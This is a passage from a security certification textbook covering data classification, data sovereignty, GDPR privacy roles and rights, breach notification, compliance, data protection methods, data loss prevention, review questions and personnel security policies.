• Critical (top secret)—the information is too valuable to allow any risk of its
capture. Viewing is severely restricted.

Using Microsoft Azure Information Protection to define an automatic document labeling and
watermarking policy. (Screenshot used with permission from Microsoft.)

Another type of classification schema identifies the kind of information asset:

• Proprietary—proprietary information or intellectual property (IP) is
information created and owned by the company, typically about the products
or services that they make or perform. IP is an obvious target for a company’s
competitors, and IP in some industries (such as defense or energy) is of interest
to foreign governments. IP may also represent a counterfeiting opportunity
(movies, music, and books, for instance).

• Private/personal data—this information relates to an individual identity.

Private data examples include personally identifiable information (PII) such as
names, addresses, social security numbers, financial information, and sensitive
data like health records, login credentials, biometric data, and confidential
business information.

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• Sensitive—this label is usually used in the context of personal data privacy-

sensitive information about a subject that could harm them if made public
and could prejudice decisions made about them if referred to by internal
procedures. As defined by the EU’s General Data Protection Regulation (GDPR),
sensitive personal data includes religious beliefs, political opinions, trade union
membership, gender, sexual orientation, racial or ethnic origin, genetic data, and
health information (ec.europa.eu/info/law/law-topic/data-protection/reform/
rules-business-and-organisations/legal-grounds-processing-data/sensitive-data/
what-personal-data-considered-sensitive_en).

• Restricted—this classification refers to sensitive information that requires

stringent controls and limited access due to its highly confidential nature.
Restricted data typically includes data that, if disclosed or accessed by
unauthorized individuals, could cause significant harm to individuals,
organizations, or national security.

Data Sovereignty and Geographical Considerations

Some states and nations may respect data privacy more or less than others; and
likewise, some nations may disapprove of the nature and content of certain data.
They may even be suspicious of security measures such as encryption. When your
data is stored or transmitted in other jurisdictions, or when you collect data from
citizens in other states or other countries, you may not “own” the data in the same
way as you’d expect or like to.

Data Sovereignty
Data sovereignty refers to a jurisdiction preventing or restricting processing and
storage from taking place on systems that do not physically reside within that
jurisdiction. Data sovereignty may demand certain concessions on your part, such
as using location-specific storage facilities in a cloud service.
For example, GDPR protections are extended to any EU citizen while they are within
EU or EEA (European Economic Area) borders. Data subjects can consent to allow a
transfer but there must be a meaningful option for them to refuse consent. If the
transfer destination jurisdiction does not provide adequate privacy regulations (to
a level comparable to GDPR), then contractual safeguards must be given to extend
GDPR rights to the data subject. In the United States, companies can self-certify
that the protections they offer are adequate under the Privacy Shield scheme
(privacyshield.gov/US-Businesses).

Maintaining compliance with data sovereignty requirements requires several

approaches. Organizations ensure data localization by storing and processing data
using datacenters or cloud providers within defined legal or geographic boundaries.
Additionally, contractual agreements with vendors and service providers ensure data
remains within approved boundaries by outlining responsibilities, restrictions, and
mandatory safeguards.

Geographical Considerations
Geographic access requirements fall into two different scenarios:
• Storage locations might have to be carefully selected to mitigate data sovereignty
issues. Most cloud providers allow a choice of datacenters for processing and
storage, ensuring that information is not illegally transferred from a particular
privacy jurisdiction without consent.

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• Employees needing access from multiple geographic locations. Cloud-based file

and database services can apply constraint-based access controls to validate the
user’s geographic location before authorizing access.

Geographic restrictions impact other business functions:

• Geolocation requirements impact data protection practices by requiring
organizations to ensure data remains within a designated boundary, such as
utilizing local datacenters or cloud providers. Geolocation restrictions affect data
protection practices such as data replication and data dispersion.

• Geolocation requirements impact incident investigation and forensics activities

because they often include jurisdiction-specific data access and sharing
restrictions, and other legal requirements.

Privacy Data
Privacy data refers to personally identifiable or sensitive information associated
with an individual’s personal, financial, or social identity, including data that, if
exposed or mishandled, could infringe upon an individual’s privacy rights. Examples
of privacy data include names, addresses, contact information, social security
numbers, medical records, financial transactions, and, generally, any other data
that can be used to identify a specific person. Privacy data and confidential data
have certain similarities. Both types of data require protection due to their sensitive
nature. Unauthorized access, disclosure, or misuse of privacy or confidential data
can negatively affect individuals or organizations.
Additionally, both privacy data and confidential data are subject to legal and ethical
considerations. Organizations must comply with relevant laws and regulations, such
as data protection and privacy laws, to safeguard both data types. However, there
are also notable differences between privacy data and confidential data.
Confidential data encompasses any information that requires protection due to
its confidential nature, regardless of whether it pertains to an individual. Examples
include trade secrets, intellectual property, financial statements, proprietary
algorithms, source code, and other nonpublic information. Privacy data, on
the other hand, specifically refers to information that can identify or impact an
individual’s privacy. Confidential data is primarily concerned with safeguarding
information from unauthorized access, use, or disclosure to maintain business
competitiveness, protect intellectual property, or preserve the integrity of sensitive
company data.
Privacy data focuses on protecting personal information to preserve an individual’s
privacy rights, prevent identity theft, and maintain the confidentiality of personal
details. Privacy data is closely associated with the rights of individuals to control
the use and disclosure of their personal information. Individuals have the right
to access, correct, and request the deletion of their privacy data. In contrast,
confidential data typically does not grant specific rights to the data subjects, as
it relates more to organizations’ proprietary information. The handling of privacy
data often requires explicit consent from the data subject for its collection, use,
and disclosure, particularly in compliance with privacy laws and regulations. On
the other hand, confidential data, while protected, may not necessarily require
individual consent for its handling, as it is associated with internal or business-
related information.
Privacy and confidential data share similarities in sensitivity and legal
considerations. However, scope, focus, data subject rights, and consent
requirements differ. While both types of data require careful handling and
protection, privacy data pertains explicitly to personal information and individual
privacy rights.

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Legal Implications
Protecting privacy data carries significant local, national, and global legal
implications. Many countries have specific privacy laws and regulations that dictate
how personal data should be handled within their jurisdiction. These laws define
the rights of individuals, the responsibilities of organizations, and the procedures
for data protection and privacy enforcement. At the national level, data protection
authorities or supervisory bodies enforce privacy laws and oversee compliance.
They have the authority to investigate data breaches, issue fines, and take legal
action against organizations that fail to protect privacy data or violate individuals’
privacy rights. The General Data Protection Regulation (GDPR) in the European
Union has had a substantial impact globally by setting high privacy and data
protection standards. GDPR applies to organizations that process the personal
data of EU residents, regardless of their physical location. This extraterritorial
effect ensures that organizations worldwide adhere to GDPR principles when
handling EU citizens’ personal data. Cross-border data transfers are also subject
to specific requirements and restrictions. For example, the GDPR restricts
transferring personal data outside the European Economic Area unless adequate
safeguards exist to protect privacy data. Understanding and adhering to these
legal requirements are essential to avoid legal consequences, maintain trust with
individuals, and foster a global culture of privacy and data protection.

Roles and Responsibilities

Data Controller and Data Processor are two distinct roles defined under data
protection regulations, such as the General Data Protection Regulation (GDPR).
Although they both deal with personal data, these roles have important similarities
and differences. The Data Controller and Data Processor are involved in handling
personal data. Both roles are responsible for ensuring personal data protection in
compliance with data protection laws and regulations. The Data Controller and Data
Processor must also adhere to data protection laws. They are required to process
personal data lawfully, securely, and transparently.
The primary distinction lies in their roles and responsibilities. The Data Controller is
the entity or organization that determines the purposes and means of processing
personal data. They have overall control and responsibility for the processing
of personal data. The Data Controller decides why and how personal data is
processed. They exercise decision-making authority, define the purposes of data
processing, and determine the categories of data to be processed. Data Controllers
have direct legal obligations and responsibilities under data protection laws. They
are accountable for handling compliance, obtaining appropriate consent from
data subjects, providing privacy notices, implementing data protection policies and
procedures, and handling data subject requests. The Data Processor processes
personal data on behalf of the Data Controller. They act under the authority and
instructions of the Data Controller. Data Processors do not have independent
decision-making power over personal data. They process data solely as instructed
by the Data Controller. Data Processors have legal obligations to process personal
data only for the purposes defined by the Data Controller. They must implement
appropriate security measures, maintain the confidentiality and integrity of the
data, and cooperate with the Data Controller to meet their legal obligations. Data
Processors are also required to keep records of their processing activities. Data
Processors include cloud service providers or payroll processing companies, for
example.
A data subject refers to an individual whose personal data is processed by an
organization or other entity. They are the individuals to whom the personal data
refers. Data subjects hold certain rights and protections under data protection laws,
such as the General Data Protection Regulation (GDPR) and California Consumer

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Privacy Act (CCPA). One of the rights afforded to data subjects is the right of access,
meaning that data subjects have the right to request access to their personal data
and obtain information about how it is being processed. Subjects can inquire about
the purposes of processing, the categories of data being processed, recipients
of the data, and the duration of data retention. Data subjects have the right to
rectification, which means that if data subjects discover that the personal data
held by an organization is inaccurate or incomplete, they have the right to request
its correction to ensure that their personal data is up to date and accurate. Data
subjects also have the right to request the erasure or removal of their personal data
under certain circumstances.
For example, if the data is no longer necessary for the purposes it was collected,
or if the data subject withdraws their consent for its processing, they can request
its deletion. Data subjects can request the restriction of processing their personal
data. The implications are that while privacy data can still be stored, it cannot be
processed further except under specific conditions. This right gives data subjects
control over their personal data’s ongoing use. Data portability is another right
granted to data subjects. Subjects have the right to receive their personal data in
a commonly used and machine-readable format, ensuring their ability to move
and transfer their personal information as desired. Data subjects have the right
to object to processing their personal data based on specific grounds. Examples
include if a subject believes their data is being processed for purposes that are not
legitimate or if they wish to object to direct marketing activities. Lastly, data subjects
have the right to withdraw their consent for the processing of their personal data.
If the processing is based on their consent, they can revoke it at any time, and the
organization must cease processing the data accordingly.
Data subjects exercise these rights by contacting the Data Controller, who ensures
that data subject rights are respected, facilitating the exercise of these rights, and
addressing any concerns or requests from data subjects.

Right to Be Forgotten
The “right to be forgotten” is a fundamental principle outlined in the General Data
Protection Regulation (GDPR) that grants data subjects the right to request the
erasure or deletion of their personal data under certain circumstances. It empowers
individuals to have their personal information removed from online platforms,
databases, or any other sources where their data is being processed and made
publicly available.
The right to be forgotten recognizes the importance of individual privacy and
control over personal data. Upon receiving a valid erasure request, the Data
Controller must erase the personal data promptly unless there are legitimate
grounds for refusing the request. This right extends to the removal of data from
the organization’s systems and to any third parties with whom the data has been
shared or made publicly available. This right may be limited if the processing of
personal data is necessary for exercising the right of freedom of expression and
information, compliance with a legal obligation, or the establishment, exercise,
or defense of legal claims. The right to be forgotten serves as a mechanism for
individuals to regain control over their personal information. It promotes privacy
and data protection by enabling subjects to remove personal data when it is no
longer necessary or lawful to retain it.

Ownership of Privacy Data

The question of ownership regarding privacy data is a complex topic. In general,
it is not easy to attribute traditional notions of ownership to privacy data. The
ownership of privacy data is often not considered in terms of traditional property
rights. Under many data protection laws, such as the GDPR, the emphasis is

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placed on the rights and protections of the data subject rather than determining
ownership. The data subject has control over their personal data and can exercise
certain rights, such as the right to access, rectify, and delete their data.
However, organizations that collect and process personal data are considered
custodians or stewards of the data rather than owners. They have legal and
ethical responsibilities to handle personal data securely and lawfully and to
respect the rights of the data subjects. It is important to note that privacy data
often consists of information about individuals, and those individuals have a
strong interest in protecting their personal information. Data protection laws
aim to provide individuals with control and protection over their personal data,
ensuring transparency, consent, and fair processing practices. While the concept
of ownership might not directly apply to privacy data, individuals have rights and
control over their personal information, and organizations are legally accountable
for handling the data responsibly. The focus is on safeguarding privacy rights and
ensuring data protection rather than assigning ownership in the traditional sense.

Data Inventories and Retention

Privacy laws profoundly impact data inventories and data retention practices within
organizations. These laws, such as the GDPR and CCPA, require organizations to
maintain a detailed record of the personal data they collect, process, and store.
Data inventories provide a comprehensive overview of the types of data being
handled, the purposes for processing, the legal basis, and recipients of the data to
ensure transparency and accountability, as organizations can clearly understand
and document their data processing activities in compliance with privacy laws.
Privacy laws stipulate that organizations must have a lawful basis for processing
personal data. Data inventories are crucial in identifying the legal grounds for data
processing. By documenting the legal basis for each category of personal data,
organizations can ensure that their processing activities align with the specified
lawful purposes outlined in privacy laws. Organizations must collect and process
only the necessary elements of personal data for specific and legitimate purposes.
Data inventories assist organizations in evaluating the personal data they collect,
ensuring they only gather necessary information. By keeping the inventory up to
date, organizations can align their practices with the principles of data minimization
and purpose limitation.
Data retention is another area impacted by privacy laws. Organizations must
retain personal data only for as long as necessary to fulfill the intended purpose
or as required by law. Data inventories help organizations determine appropriate
retention periods for different categories of personal data, ensuring compliance
with data storage limitation requirements. Keeping accurate records in the data
inventory enables organizations to securely delete or anonymize data when it is
no longer needed. Privacy laws grant individuals various rights, such as the right
to access their personal data. Data inventories are instrumental in facilitating the
exercise of these rights. By maintaining comprehensive inventories, organizations
can promptly respond to data subject requests, provide individuals with access to
their data, rectify inaccuracies, and fulfill requests for erasure in accordance with
privacy laws.
Furthermore, privacy laws mandate implementing robust security measures to
protect personal data. Data inventories help organizations identify their personal
data types and all associated security requirements. By clearly understanding
the data they process, organizations can implement appropriate technical and
organizational safeguards to shield personal data from unauthorized access, loss,
or alteration, thus ensuring compliance with security obligations under privacy laws.

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Privacy Breaches and Data Breaches

A data breach occurs when information is read, modified, or deleted without
authorization. “Read” in this sense can mean either seen by a person or transferred
to a network or storage media. A data breach is the loss of any type of data (but
notably corporate information and intellectual property), while a privacy breach
refers specifically to loss or disclosure of personal and sensitive data.

Organizational Consequences
A data or privacy breach can have severe organizational consequences:
• Reputation damage—data breaches cause widespread negative publicity, and
customers are less likely to trust a company that cannot secure its information
assets.

• Identity theft—if the breached data is exploited to perform identity theft, the
data subject may be able to sue for damages.

• Fines—legislation might empower a regulator to levy fines. These can be a fixed

sum or in the most serious cases a percentage of turnover.

• IP theft—loss of company data can lead to loss of revenue. This typically occurs
when copyright material—unreleased movies and music tracks—is breached.
The loss of patents, designs, trade secrets, and so on to competitors or state
actors can also cause commercial losses, especially in overseas markets where IP
theft may be difficult to remedy through legal action.

Notifications of Breaches
The requirements for different types of breach are set out in law and/or in
regulations. The requirements indicate who must be notified. A data breach can
mean the loss or theft of information, the accidental disclosure of information,
or the loss or damage of information. Note that there are substantial risks
from accidental breaches if effective procedures are not in place. If a database
administrator can run a query that shows unredacted credit card numbers, that is a
data breach, regardless of whether the query ever leaves the database server.

Depending on the regulations, a breach may be considered to have occurred if there

is just the potential for unauthorized access. For example, if a personal data file is
configured with permissions that mistakenly allow any authenticated user to read it,
this could be classed as a notifiable data breach, even if audit logs show that no actual
improper access attempts were made.

Escalation
A breach may be detected by technical staff and if the event is considered minor,
there may be a temptation to remediate the system and take no further notification
action. This could place the company in legal jeopardy. Any breach of personal data
and most breaches of IP should be escalated to senior decision-makers and any
impacts from legislation and regulation properly considered.

Public Notification and Disclosure

Other than the regulator, notification might need to be made to law enforcement,
individuals and third-party companies affected by the breach, and to the public
through press or social media channels. For example, the Health Insurance
Portability and Accountability Act (HIPAA) sets out reporting requirements in

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legislation, requiring breach notification to the affected individuals, the Secretary of

the US Department of Health and Human Services, and, if more than 500 individuals
are affected, to the media (hhs.gov/hipaa/for-professionals/breach-notification/
index.html). The requirements also set out timescales for when these parties should
be notified. For example, under GDPR, notification must be made within 72 hours
of becoming aware of a breach of personal data (csoonline.com/article/3383244/
how-to-report-a-data-breach-under-gdpr.html). Regulations will also set out
disclosing requirements, or the information that must be provided to each of the
affected parties. Disclosure is likely to include a description of what information was
breached, details for the main point of contact, likely consequences arising from the
breach, and measures taken to mitigate the breach.
GDPR offers stronger protections than most federal and state laws in the United
States, which tend to focus on industry-specific regulations, narrower definitions of
personal data, and fewer rights and protections for data subjects. The passage of
the California Consumer Privacy Act (CCPA) has changed the picture for domestic US
legislation, however (csoonline.com/article/3292578/california-consumer-privacy-
act-what-you-need-to-know-to-be-compliant.html).

Compliance
Security compliance refers to organizations’ adherence to applicable security
standards, regulations, and best practices to protect sensitive information, mitigate
risks, and ensure data confidentiality, integrity, and availability. Effective compliance
necessitates establishing and implementing policies, procedures, controls, and
technical measures to meet the requirements set forth by regulatory bodies,
industry standards, and legal obligations.

Impacts of Noncompliance
Noncompliance with data protection laws and regulations can have severe
consequences for organizations. The consequences vary depending on jurisdiction
and the specific regulations violated. Common ramifications for noncompliance
include legal sanctions such as financial penalties, legal liabilities, reputational
damage, and loss of customer trust. Sanctions refer to penalties, disciplinary
actions, or measures imposed due to noncompliance with laws, regulations, or
rules. Sanctions are enforced by governing bodies, regulatory authorities, or
organizations overseeing the specific domain in which the noncompliance occurred.
Regulatory agencies may impose substantial fines, which can amount to millions or
even billions of dollars, depending on the severity of the violation. Legal action from
affected individuals or data subjects may lead to costly lawsuits and settlements.
Noncompliance can harm an organization’s reputation, eroding customer trust,
decreasing business opportunities, and potentially losing contracts or partnerships.
Organizations may also face additional regulatory scrutiny, including increased
audits, investigations, or mandated remediation measures. Organizations must
prioritize data protection compliance, implement appropriate security measures,
conduct regular risk assessments, and stay informed about evolving data protection
laws and regulations to avoid these consequences.

Due diligence in the context of data protection describes the comprehensive assessment
and evaluation of an organization's data protection practices and measures. It involves
examining and verifying the adequacy of data security controls, privacy policies, data
handling procedures, and compliance with applicable laws and regulations.

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Software Licensing
Noncompliance with software licensing requirements can result in the revocation
of usage rights and other consequences such as fines. Violations of license
agreements, such as exceeding permitted installations, unauthorized sharing, or
other unauthorized usage, constitute contractual noncompliance. Other forms
of noncompliance include breaching license terms, such as modifying code or
distributing software without authorization. In response, software vendors or
licensing authorities may revoke or suspend licenses and take other legal actions.
The loss of software licenses can disrupt business operations, causing inefficiencies
and workflow interruptions as well as cause significant reputational damage.
To ensure compliance, organizations can rectify noncompliance through license
remediation, proper license management, and audits.

Impacts of Contractual Noncompliance

Breach of Contract—Noncompliance can result in a breach of contract. Contracts
between parties often include provisions related to data protection, cybersecurity
measures, and the safeguarding of sensitive information. Failure to meet these
contractual obligations can lead to legal consequences, including potential liability
for damages or loss the noncompliant party suffers.
Termination of Contracts—Noncompliance may give the noncompliant party
grounds for contract termination. Contractual agreements may contain clauses
allowing termination if the other party fails to protect data or implement sufficient
cybersecurity measures adequately. The noncompliant party may face termination
penalties, loss of business relationships, and the need to seek new contractual
arrangements, which will be complicated by poor past performance.
Indemnification and Liability—Noncompliance may result in the noncompliant
party assuming liability for damages caused by a security breach or data loss.
Contractual agreements may include indemnification clauses, shifting responsibility
for losses, or legal expenses resulting from cybersecurity incidents onto the
noncompliant party leading to financial burdens and reputational damage.
Noncompliance Penalties—Contracts may stipulate penalties or financial
consequences for noncompliance with cybersecurity requirements, such as
monetary fines or contractual damages that the noncompliant party must pay
to the aggrieved party. Noncompliance penalties aim to incentivize adherence to
cybersecurity measures outlined in the contractual agreement.

Monitoring and Reporting

Compliance monitoring and reporting processes involve systematically assessing,
evaluating, and reporting an organization’s adherence to laws, regulations,
contracts, and industry standards. Effective reporting and monitoring require
establishing a compliance framework, conducting ongoing monitoring activities,
and collecting relevant data for analysis. The findings of these activities are included
in various reports designed to communicate compliance performance, identify
noncompliance issues, and recommend actions. These processes aim to ensure
accountability, mitigate risks, and drive continuous improvement in compliance
practices. Compliance monitoring involves risk assessments, data collection,
and analysis, while compliance reporting facilitates stakeholder communication
and decision-making. Robust compliance monitoring and reporting processes
help organizations proactively identify areas of noncompliance to enhance risk
management practices and maintain stakeholder trust.

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Internal and External Compliance Reporting

Internal and external compliance reporting aim to assess and disclose an
organization’s compliance status, but they differ in scope, audience, and purpose.
Internal compliance reporting primarily serves internal stakeholders (such as
risk managers, executives, security analysts, and privacy officers), focuses on
operational details, and supports internal decision-making. External compliance
reporting targets external stakeholders (such as shareholders, customers, clients,
regulators, vendors, and business partners), adheres to regulatory requirements,
and provides high-level summaries of an organization’s compliance performance.
Both reporting forms promote accountability, transparency, and effective
compliance management within organizations.

Compliance Monitoring
Compliance with legal and regulatory requirements, industry standards, and
internal policies can be ensured through diligent monitoring of an organization’s
actions. This involves conducting thorough investigations and assessments of third
parties, such as vendors or business partners, to ensure they comply with relevant
regulations.
Moreover, taking reasonable precautions and implementing necessary controls to
protect sensitive information and prevent noncompliance is essential. Attestation
and acknowledgment are also integral to compliance monitoring, requiring
individuals or entities to formally acknowledge their understanding of compliance
obligations and commitment to adhere to them through signed agreements, policy
acknowledgments, and training activities. This provides evidence of an individual
or organization’s commitment to compliance and serves as the foundation for
monitoring and enforcement. Compliance monitoring can be conducted internally
or externally, with self-assessments, internal audits, and reviews conducted
internally and independent audits, assessments, or regulatory inspections
conducted externally. Automation is vital in compliance monitoring, with
compliance management software being a critical tool in data collection, analysis,
and reporting. Automation streamlines monitoring activities, improves accuracy,
and enhances the ability to detect noncompliance or anomalies promptly.

Data Protection
Classifying data as “at rest,” “in motion,” and “in use” is crucial for effective data
protection and security measures. By analyzing data based on its state (at rest,
in motion, in use), organizations can tailor security measures and controls
to address the specific risks and requirements associated with each data
state. This classification helps organizations identify vulnerabilities, prioritize
security investments, and ensure appropriate safeguards to protect sensitive
data throughout its lifecycle. It also facilitates compliance with data protection
regulations and industry best practices.
• Data at rest—this state means that the data is in some sort of persistent
storage media. Examples of types of data that may be at rest include financial
information stored in databases, archived audiovisual media, operational
policies and other management documents, system configuration data, and
more. In this state, it is usually possible to encrypt the data, using techniques
such as whole disk encryption, database encryption, and file- or folder-level
encryption. It is also possible to apply permissions—access control lists (ACLs)—
to ensure only authorized users can read or modify the data. ACLs can be
applied only if access to the data is fully mediated through a trusted OS.

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• Data in transit (or data in motion)—this is the state when data is transmitted
over a network. Examples of types of data that may be in transit include
website traffic, remote access traffic, data being synchronized between cloud
repositories, and more. In this state, data can be protected by a transport
encryption protocol, such as TLS or IPSec.

With data at rest, there is a greater encryption challenge than with data in transit as the
encryption keys must be kept secure for longer. Transport encryption can use ephemeral
(session) keys.

• Data in use (or data in processing)—this is the state when data is present in
volatile memory, such as system RAM or CPU registers and cache. Examples of
types of data that may be in use include documents open in a word processing
application, database data that is currently being modified, event logs being
generated while an operating system is running, and more. When a user works
with data, that data usually needs to be decrypted as it goes from in rest to in
use. The data may stay decrypted for an entire work session, which puts it at
risk. However, trusted execution environment (TEE) mechanisms, such as Intel
Software Guard Extensions (software.intel.com/content/www/us/en/develop/
topics/software-guard-extensions/details.html), are able to encrypt data as it
exists in memory, so that an untrusted process cannot decode the information.

Data Protection Methods

Method Description
Geographic Restrictions Geographic restrictions involve limiting access
to data based on specific geographic locations. It
ensures that data is accessible only from approved
regions, providing additional control and security.
A common use case for geographic restrictions
involves cloud computing and data storage services.
When organizations utilize cloud platforms or third-
party datacenters to store their data, they may need
to enforce geographic restrictions to specify where
their data can be stored and processed to comply
with data protection laws and regulations.
Encryption Encryption converts data into a coded format
that can only be accessed or deciphered with
an encryption key or password. It protects data
confidentiality and ensures that even if data is
intercepted, it remains unreadable to unauthorized
parties.
Hashing Hashing involves converting data into a fixed-length
string of characters using a hashing algorithm.
Hashing is commonly used to verify data integrity
and securely store passwords.
Masking Masking involves replacing sensitive data with
fictional or partially concealed values while
preserving the format and length of the original data.
It prevents exposing sensitive information and is
often used to hide sensitive data fields and password
characters entered into forms.

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Method Description
Tokenization Tokenization replaces sensitive data with a randomly
generated token while securely storing the original
data in a separate location. Tokens have no
meaningful value, reducing the risk of unauthorized
access or exposure of sensitive information.
A common use case for data tokenization is in
payment processing systems. When customers
make a payment, their sensitive payment card
information, such as credit card numbers, is replaced
with a randomly generated token. This token is then
used to represent the payment card data during
transactions and is stored in the system’s database.
Obfuscation Obfuscation involves modifying data to make it
difficult to understand or reverse engineer without
altering functionality. Software development
commonly uses obfuscation techniques to protect
source code intellectual property and prevent
unauthorized access to critical details. Examples
of obfuscation include data masking, data type
conversion, and hashing.
Segmentation Segmentation is a method of securing data by
dividing networks, data, and applications into
isolated components to improve sensitive data
protection, limit the impact of a breach, and improve
network security. Segmentation helps restrict
access based on user roles, privileges, location, or
other criteria. It helps limit exposure by granting
access only to the specific data segments required
for authorized users or processes. A common use
case for data segmentation is in healthcare systems
or electronic health records (EHRs). Patient data is
often categorized and segmented in these systems
based on various factors, such as medical conditions,
departments, or access levels. Data segmentation
allows healthcare professionals to control and limit
access to sensitive patient information based on
the principle of least privilege. Different healthcare
providers, specialists, or departments may have
access only to the specific patient data relevant to
their roles or treatment responsibilities.
Permission Restrictions Permission restrictions involve controlling access to
data based on user permissions. It ensures that only
authorized individuals or roles can view, modify, or
interact with specific data elements, reducing the risk
of unauthorized access, data breaches, or accidental
misuse. Access Control Lists, Role-Based Access
Control, Rule-based Access Control, Mandatory
Access Control, Attribute-Based Access Control,
and other methods enforce the principle of least
privilege.

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Data Loss Prevention

To apply data guardianship policies and procedures, smaller organizations might
classify and type data manually. An organization that creates and collects large
amounts of personal data will usually need to use automated tools to assist with
this task, however. There may also be a requirement to protect valuable intellectual
property (IP) data. Data loss prevention (DLP) products automate the discovery
and classification of data types and enforce rules so that data is not viewed or
transferred without a proper authorization. Such solutions will usually consist of the
following components:
• Policy server—to configure classification, confidentiality, and privacy rules and
policies, log incidents, and compile reports.

• Endpoint agents—to enforce policy on client computers, even when they are
not connected to the network.

• Network agents—to scan communications at network borders and interface

with web and messaging servers to enforce policy.

DLP agents scan content in structured formats, such as a database with a formal
access control model, or unstructured formats, such as email or word processing
documents. A file cracking process is applied to unstructured data to render it in
a consistent scannable format. The transfer of content to removable media, such
as USB devices, or by email, instant messaging, or even social media, can then
be blocked if it does not conform to a predefined policy. Most DLP solutions can
extend the protection mechanisms to cloud storage services, using either a proxy to
mediate access or the cloud service provider’s API to perform scanning and policy
enforcement.

Creating a DLP policy in Office 365. (Screenshot used with permission from Microsoft.)

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Remediation is the action the DLP software takes when it detects a policy violation.
The following remediation mechanisms are typical:
• Alert only—the copying is allowed, but the management system records an
incident and may alert an administrator.

• Block—the user is prevented from copying the original file but retains access to
it. The user may or may not be alerted to the policy violation, but it will be logged
as an incident by the management engine.

• Quarantine—access to the original file is denied to the user (or possibly any
user). This might be accomplished by encrypting the file in place or by moving it
to a quarantine area in the file system.

• Tombstone—the original file is quarantined and replaced with one describing

the policy violation and how the user can release it again.

When it is configured to protect a communications channel such as email, DLP

remediation might take place using client-side or server-side mechanisms. For
example, some DLP solutions prevent the actual attaching of files to the email
before it is sent. Others might scan the email attachments and message contents,
and then strip out certain data or stop the email from reaching its destination.

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Review Activity:
Data Classification and Compliance
3

Answer the following questions:

1. What range of information classifications could you implement in a data

1.

labeling project?

2. 2. What is meant by privacy information?

3. You are reviewing security and privacy issues relating to a membership

3.

database for a hobbyist site with a global audience. The site currently
collects account details with no further information. What should be
added to be in compliance with data protection regulations?

4. You are preparing a briefing paper for customers on the organizational

4.

consequences of data and privacy breaches. You have completed

sections for reputation damage, identity theft, and IP theft. Following
the CompTIA Security+ objectives, what other section should you add?

5. This state means that the data is in some sort of persistent storage
5.

media.

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6. This method of data protection is often associated with payment

6.

processing systems.

7. You take an incident report from a user trying to access a REPORT.docx

file on a SharePoint site. The file has been replaced by a REPORT.docx.
QUARANTINE.txt file containing a policy violation notice. What is the
most likely cause?

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Topic 16B
Personnel Policies
8

EXAM OBJECTIVES COVERED

5.6 Given a scenario, implement security awareness practices.

Personnel policies play a vital role in establishing clear guidelines, expectations,

and standards for employees. They provide a framework for effective management
of human resources and maintain a fair, legally compliant, and productive work
environment. Personnel policies promote consistency, clear communication,
employee development, conflict resolution, and risk management. Organizations
can enhance employee satisfaction, attract and retain talent, and mitigate legal and
operational risks by implementing effective personnel policies.

Conduct Policies
Operational policies include privilege/credential management, data handling,
and incident response. Other important security policies include those governing
employee conduct and respect for privacy.

Acceptable Use Policy

Enforcing an acceptable use policy (AUP) is important to protect the organization
from the security and legal implications of employees misusing its equipment.
Typically, the policy will forbid the use of equipment to defraud, defame, or to
obtain illegal material. It will prohibit the installation of unauthorized hardware or
software and explicitly forbid actual or attempted snooping of confidential data
that the employee is not authorized to access. Acceptable use guidelines must be
reasonable and not interfere with employees’ fundamental job duties or privacy
rights. An organization’s AUP may forbid use of Internet tools outside of work-
related duties or restrict such use to break times.

Code of Conduct and Social Media Analysis

A code of conduct, or rules of behavior, sets out expected professional standards.
For example, employees’ use of social media and file sharing poses substantial risks
to the organization, including threat of virus infection or systems intrusion, lost
work time, copyright infringement, and defamation. Users should be aware that
any data communications, such as email, made through an organization’s computer
system are likely stored within the system, on servers, backup devices, and so on.
Such communications are also likely to be logged and monitored. Employers may
also subject employees’ personal social media accounts to analysis and monitoring,
to check for policy infringements.
Rules of behavior are also important when considering employees with privileged
access to computer systems. Technicians and managers should be bound by
clauses that forbid them from misusing privileges to snoop on other employees or
to disable a security mechanism.

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Use of Personally Owned Devices in the Workplace

Portable devices, such as smartphones, USB sticks, media players, and so on, pose
a considerable threat to data security, as they make file copy so easy. Camera and
voice-recording functions are other obvious security issues. Network access control,
endpoint management, and data loss prevention solutions can be of some use in
preventing the attachment of such devices to corporate networks. Some companies
may try to prevent staff from bringing such devices on-site. This is quite difficult to
enforce, though.
Also important to consider is the unauthorized use of personal software by
employees or employees using software or services that has not been sanctioned
for a project (shadow IT). Personal software may include either locally installed
software or hosted applications, such as personal email or instant messenger,
and may leave the organization open to a variety of security vulnerabilities. Such
programs may provide a route for data exfiltration, a transport mechanism for
malware, or possibly software license violations for which the company might be
held liable, just to name a few of the potential problems.

Clean Desk Policy

A clean desk policy means that each employee’s work area should be free from
any documents left there. The aim of the policy is to prevent sensitive information
from being obtained by unauthorized staff or guests at the workplace.

User and Role-Based Training

Another essential component of a secure system is effective user training.
Untrained users represent a serious vulnerability because they are susceptible
to social engineering and malware attacks and may be careless when handling
sensitive or confidential data.

Train users in secure behavior. (Image by dotshock © 123RF.com.)

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Appropriate security awareness training needs to be delivered to employees at

all levels, including end users, technical staff, and executives. Some of the general
topics that need to be covered include the following:
• Overview of the organization’s security policies and the penalties for
noncompliance.

• Incident identification and reporting procedures.

• Site security procedures, restrictions, and advice, including safety drills, escorting
guests, use of secure areas, and use of personal devices.

• Data handling, including document confidentiality, PII, backup, encryption, and

so on.

• Password and account management plus security features of PCs and mobile
devices.

• Awareness of social engineering and malware threats, including phishing,

website exploits, and spam plus alerting methods for new threats.

• Secure use of software such as browsers and email clients plus appropriate use
of Internet access, including social networking sites.

There should also be a system for identifying staff performing security-sensitive

roles and grading the level of training and education required (between beginner,
intermediate, and advanced, for instance). Note that in defining such training
programs you need to focus on job roles, rather than job titles, as employees
may perform different roles and have different security training, education, or
awareness requirements in each role.

The NIST National Initiative for Cybersecurity Education framework (nist.gov/itl/

applied-cybersecurity/nice) sets out knowledge, skills, and abilities (KSAs) for different
cybersecurity roles. Security awareness programs are described in SP800-50 (nvlpubs.
nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-50.pdf).

Training Topics and Techniques

It is necessary to frame security training in language that end users will respond to.
Education should focus on responsibilities and threats that are relevant to users.
It is necessary to educate users about new or emerging threats (such as fileless
malware, phishing scams, or zero-day exploits in software), but this needs to be
stated in language that users understand. Using a diversity of training techniques
helps to improve engagement and retention. Training methods include facilitated
workshops and events, one-on-one instruction and mentoring, plus resources such
as computer-based or online training, videos, books, and blogs/newsletters.

Computer-Based Training and Gamification

Participants respond well to the competitive challenge of CTF events. This type
of gamification can be used to boost security awareness for other roles too.
Computer-based training (CBT) allows a student to acquire skills and experience
by completing various types of practical activities:
